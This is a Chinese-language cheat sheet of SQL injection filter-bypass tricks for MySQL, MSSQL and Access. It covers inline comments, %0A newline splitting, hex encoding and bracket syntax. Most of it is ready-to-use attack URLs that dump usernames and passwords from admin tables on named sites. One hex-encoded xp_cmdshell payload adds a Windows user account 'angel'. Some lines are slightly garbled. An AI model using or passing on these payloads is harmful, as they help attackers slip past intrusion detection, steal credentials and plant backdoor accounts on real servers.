数据库绕过技术

1.MySQL

1.1.内联注释

替换 select 为 /*!select*/

```
    select?user,password?from?user?xxx?union?select(1),
(2);
```

用+或/**/号代替空格

1.2.GET 参数 SQL 注入%0A 换行污染绕过

绕过描述

在 GET 请求时，将 URL 的 SQL 注入关键字用%0A 分隔，%0A 是换行符测试方法

请求测试 url：

```
    http://www.webshell.cc/1.php?id=1%20union%20select%20
1,2,3,4 — 拦截
```

请求测试 url：

```
    http://www.webshell.cc/1.php?id=-9%0Aunion%0Aselect 1,
2,3,4 —绕过
```

2.MsSQL

2.1.用 HEX 绕过

一般的 IDS 都无法检测出来:

```
    0x730079007300610064006D0069006E00 =hex(sysadmin)

    0x640062005F006F0077006E0065007200 =hex(db_owner)
```

例如先声明一个变量 a，然后把我们的指令赋值给 a，然后调用变量 a 最终执行我们输入的命令。变量 a 可以是任何命令。如下：

```
    declare @a   sysnameselect @a=exec master.dbo.xp_cmdsh
ell @a



    http://www.xxx.com/xxx.asp?id=1;declare%20@a%20sysnam
e%20select   @a=0x6e006500740020007500730065007200200061 0
06e00670065006c00200070006100730073002000 2f00610064006400
   exec master.dbo.xp_cmdshell @a;



    0x6e006500740020007500730065007200200061006e0067006500
6c00200070006100730073002000 2f00610064006400
```

就是"net user angel pass /add"的意思。

2.2.运用注释语句绕过

```
    用/**/代替空格，如：UNION /**/ Select /**/user,pwd,from t
bluser

    用/**/分割敏感词，如：U/**/NION/**/SE/**/LECT/**/user,pwd
 from tbluser
```

3.Access

3.1.[]、()

”[]”用于表和列,”()”用于数值也可以做分隔.

```
    http://fuck.0day5.com/shownews.asp?id=%28-575%29UNION%
20SE%LECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,14,
15,16,17,18%20from[admin]
```

```
   http://fuck.0day5.com/shownews.asp?id=%28-575%29UNION%
20SE%LECT%201,[username],3,4,[passwd],6,7,8,9,10,11,12,1
3,14,15,16,17,18%20from[admin]

   http://fuck.0day5.com/shownews.asp?id=%28-575%29UNION%
20%28SE%LECT%201,username,3,4,passwd,6,7,8,9,10,11,12,13,
14,15,16,17,18%20from%20%28admin%29%29

   admin 表用() (SELECT ……..) 双重括号.
```